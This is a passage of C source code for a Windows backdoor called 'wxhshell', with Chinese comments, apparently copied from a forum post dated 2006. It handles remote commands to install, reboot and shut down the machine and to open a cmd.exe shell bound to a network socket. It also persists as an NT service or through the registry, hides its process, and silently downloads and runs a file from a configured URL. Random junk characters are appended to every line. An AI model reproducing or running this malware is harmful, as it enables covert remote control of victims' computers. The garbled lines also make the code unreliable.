      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Nr 5h%<` I  
    break; VX#4Gh,~N  
  } Gzy"$t  
  // 安装 \1x<bx/1  
  case 'i': { SKO*x^"eU  
    if(Install()) ?[{_*qh  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Qv=F'  
    else &cy @Be}|T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5R"My^G  
    break; P(B:tg  
    } Ovu!G q  
  // 卸载 C 8 [W  
  case 'r': { }&|S8:   
    if(Uninstall()) -;rr! cQ?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B^Z %38o  
    else B+W 4r9#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a?&{eMEe}  
    break; ZmM/YPy  
    } (`%$Aa9J  
  // 显示 wxhshell 所在路径 }?^V9K-  
  case 'p': { \Eqxmo  
    char svExeFile[MAX_PATH]; hbfTv;=z  
    strcpy(svExeFile,"\n\r"); ,|RS]I>X  
      strcat(svExeFile,ExeFile); x%<oeM3U  
        send(wsh,svExeFile,strlen(svExeFile),0); nSUQ Eho<  
    break; s'/b&Idf8  
    } (vL-Z[M!  
  // 重启 Cbw@:+%J{  
  case 'b': { yc ize2>q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Hqsj5j2i  
    if(Boot(REBOOT)) ;Ohabbj*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); liu%K9-r  
    else { @0js=3!2  
    closesocket(wsh); `+Ko{rf+9  
    ExitThread(0); =2-!ay:  
    } Q#+y}pOLP  
    break; k.UQT^.  
    } =Yd{PZ*fR  
  // 关机 kTJz .  
  case 'd': { !{hC99q6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); vd0;33$L  
    if(Boot(SHUTDOWN)) %OS}BAh^i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1D@'uApi.  
    else { % Q| >t~  
    closesocket(wsh); Yfro^}f  
    ExitThread(0); @D:$~4ks  
    } .&|Ivz6  
    break; TV^m1uC  
    } uU+R,P0  
  // 获取shell LI`L!6^l  
  case 's': { ~96fyk|  
    CmdShell(wsh); 0f"9w PC  
    closesocket(wsh); #2&DDy)B f  
    ExitThread(0); bf#@YkE  
    break; +@n8DM{b  
  } 2>bTcud>  
  // 退出 EMe3Xb `  
  case 'x': { ;;A8*\*$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '*`25BiQ  
    CloseIt(wsh); l'Oz-p.@  
    break; jY: )W*TXt  
    } EL--?<g  
  // 离开 16;r+.FB'  
  case 'q': { &Nzq/~uqP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y,D@[*~Xb  
    closesocket(wsh); 5" 5tY  
    WSACleanup(); Nn`l+WA3  
    exit(1); Q~p)@[q  
    break; huPAWlxT  
        } )9oF?l^q  
  } B~\mr{|u  
  } )sONfn  
[ ;/4'  
  // 提示信息 nTG@=C#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NVt612/'7y  
} :TPT]q d@  
  } ! 06 !`LT  
#pe#(xoI  
  return; ;7;=)/-  
} Z}b25)  
O_gr{L}  
// shell模块句柄 pZVT:qFF  
int CmdShell(SOCKET sock) /b|V=j}W  
{ &3@ {?K  
STARTUPINFO si; ||xiKg  
ZeroMemory(&si,sizeof(si)); <l#|I'hP  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ){D6E9  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *VP-fyJp  
PROCESS_INFORMATION ProcessInfo; :!'!V>#g  
char cmdline[]="cmd"; BXzn-S  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); y}\d]*5  
  return 0; Q+ i  
} 7I#<w[l>k  
d ynq)lf  
// 自身启动模式 ryC7O'j_P  
int StartFromService(void) Ba8 s  
{ 5 R*  
typedef struct I`% ]1{  
{ .!oYIF*0zC  
  DWORD ExitStatus; x>ZnQ6x~m]  
  DWORD PebBaseAddress; o0Z~9iF&  
  DWORD AffinityMask; (yr<B_Y'MY  
  DWORD BasePriority; dcn/|"jr  
  ULONG UniqueProcessId; '5f6 M^}|2  
  ULONG InheritedFromUniqueProcessId; qV7F=1k]  
}   PROCESS_BASIC_INFORMATION; 5s7C;+  
?z[k.l+6w  
PROCNTQSIP NtQueryInformationProcess; p;x3gc;0  
5#WyI#YNG  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F%-KY$%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; }hm "49,O  
?=},%^  
  HANDLE             hProcess; R(1N]>  
  PROCESS_BASIC_INFORMATION pbi; ;^"#3_7T]  
((AsZ$[S  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); B-.QGf8K.  
  if(NULL == hInst ) return 0; ^e~m`R2fHh  
o8ERU($/  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =>0 G  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); f|r +qe  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); lQ{o[axT  
us,~<e0  
  if (!NtQueryInformationProcess) return 0; ,,Ia4c  
o3ZqPk]al  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Rf4}4ixkj  
  if(!hProcess) return 0; wBJP8wES=  
TIIwq H+h.  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -qDM(zR  
z0F'zN 3J  
  CloseHandle(hProcess); D8O&`!mf  
xU LcS :Q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  aj|gt  
if(hProcess==NULL) return 0; |'SgGg=E  
V|q`KOF  
HMODULE hMod; :9.QhY)D  
char procName[255]; nuucYm%IF-  
unsigned long cbNeeded; B s{n  
qJZ:\u8oO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 92";?Xk  
abczW[\  
  CloseHandle(hProcess); %gbvX^E?  
rP<S =eb  
if(strstr(procName,"services")) return 1; // 以服务启动 7.!`c-8 u  
 x#hGJT  
  return 0; // 注册表启动 Y)](jU%o  
} Afao Fn+  
N NTUl$  
// 主模块 |Ev V S  
int StartWxhshell(LPSTR lpCmdLine) E!6Nf[  
{ H vezi>M  
  SOCKET wsl; 92pl#Igt  
BOOL val=TRUE; [+_0y[~,tB  
  int port=0; M?3#XQDvD  
  struct sockaddr_in door; us2RW<Oxv  
zjlo3=FQX[  
  if(wscfg.ws_autoins) Install(); 24 L =v  
E==vk~cz  
port=atoi(lpCmdLine); /q\{OsrX  
w`a(285s)i  
if(port<=0) port=wscfg.ws_port; ;qwN M~  
vN8Xq+  
  WSADATA data; j{: >"6  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; TD"w@jBA  
s<`54o ,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v9S1<|jN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); y'21)P  
  door.sin_family = AF_INET; 1XD|H_JG<j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1");  1(*Pa  
  door.sin_port = htons(port); f!D~aJ  
Xb/^n .>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -'F? |  
closesocket(wsl); hn p-x3  
return 1; 0f]LOg  
} -< RG'I~  
P{{U  
  if(listen(wsl,2) == INVALID_SOCKET) { 4&a,7uVer  
closesocket(wsl); _6/q.  
return 1; mO~A}/je  
} 0oU;Cmw.  
  Wxhshell(wsl); <&Q(I+^  
  WSACleanup(); _=d X01  
1}>uY  
return 0; l;'#!hC)  
A\S1{JrR  
} /'uFX,  
'V-_3WWxU  
// 以NT服务方式启动 ;xMieqz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -|\SNbPTV  
{ CTOrBl$70  
DWORD   status = 0; DTi\ 4&41  
  DWORD   specificError = 0xfffffff; e|&}{JP{[  
YnLwBJ2i  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $4Ko  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [WxRwE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X&+*?Q^  
  serviceStatus.dwWin32ExitCode     = 0; ujMics(  
  serviceStatus.dwServiceSpecificExitCode = 0; .)Af&+KT  
  serviceStatus.dwCheckPoint       = 0; oPVyLD  
  serviceStatus.dwWaitHint       = 0; MV.$Ay  
/H m), 9NN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |fTWf}Jx  
  if (hServiceStatusHandle==0) return; ctB(c`zcY  
+CF"Bm8@  
status = GetLastError(); #vnJJ#uI|>  
  if (status!=NO_ERROR) w6w'Jx  
{ gY=Ry=w9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <F7g;s'q9  
    serviceStatus.dwCheckPoint       = 0; ?*ni5\y5o  
    serviceStatus.dwWaitHint       = 0; .xIu  
    serviceStatus.dwWin32ExitCode     = status; o"5[~$O  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~BJ~]~0P`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _s> ZY0  
    return; _ o-lNt+  
  } @uaf&my,P  
*w[\(d'T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; = e>#oPH  
  serviceStatus.dwCheckPoint       = 0; $4j$c|S!  
  serviceStatus.dwWaitHint       = 0; A7SE>e>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ag \d4y6  
} on=I*?+R  
zJJ6"9sl  
// 处理NT服务事件,比如:启动、停止 l*+5WrOS  
VOID WINAPI NTServiceHandler(DWORD fdwControl) J/o$\8tiMw  
{ xO<$xx  
switch(fdwControl) V;V,G+0Re  
{ n!*uv~%$  
case SERVICE_CONTROL_STOP:  p@se 5~  
  serviceStatus.dwWin32ExitCode = 0; <\If:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k;?Oi?]  
  serviceStatus.dwCheckPoint   = 0; 't5 I%F  
  serviceStatus.dwWaitHint     = 0; ~SW_jiKM  
  { G\U'_G>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^ld ?v  
  } YsHZFF  
  return; >nnjL rI  
case SERVICE_CONTROL_PAUSE: 22<T.c  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5}/TB_W7j  
  break; ~GWn>  
case SERVICE_CONTROL_CONTINUE: $YM6}D@  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JvZNr?_w%  
  break; 'xC83}!k  
case SERVICE_CONTROL_INTERROGATE: )38M~/ ^l  
  break; 71h?t`N  
}; !QB(M@1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E|aPkq]  
} TyCMZsvM,  
5$T>noD  
// 标准应用程序主函数 _(q|W3  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) < Y(lRM{  
{ Pc*+QtQ  
-[I}"Glz:  
// 获取操作系统版本 'kD~tpZ  
OsIsNt=GetOsVer(); U1>VKP;5Nn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ![v@+9  
RtR5ij1  
  // 从命令行安装 Ikkv <uY  
  if(strpbrk(lpCmdLine,"iI")) Install(); .i7bI2^  
|Q'l&Gt6  
  // 下载执行文件 +U%U3tAvs  
if(wscfg.ws_downexe) { z'G~b[kG4n  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +;}XWV  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;!CYp; _  
} -'tgr6=|w"  
\?bp^BrI  
if(!OsIsNt) { 88dq8T4  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?5%|YsJP_  
HideProc(); Q &Rj)1!  
StartWxhshell(lpCmdLine); I\6u(;@  
} dJhT}"x  
else qq&G~y  
  if(StartFromService()) S >PTD@  
  // 以服务方式启动 ;)^eDJ<  
  StartServiceCtrlDispatcher(DispatchTable); XeaO,P  
else (]|rxmycA  
  // 普通方式启动 HqW|  
  StartWxhshell(lpCmdLine); G?Y2 b  
QOECpk-  
return 0; s^nwF>  
}
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只看该作者 1 发表于: 2006-10-10
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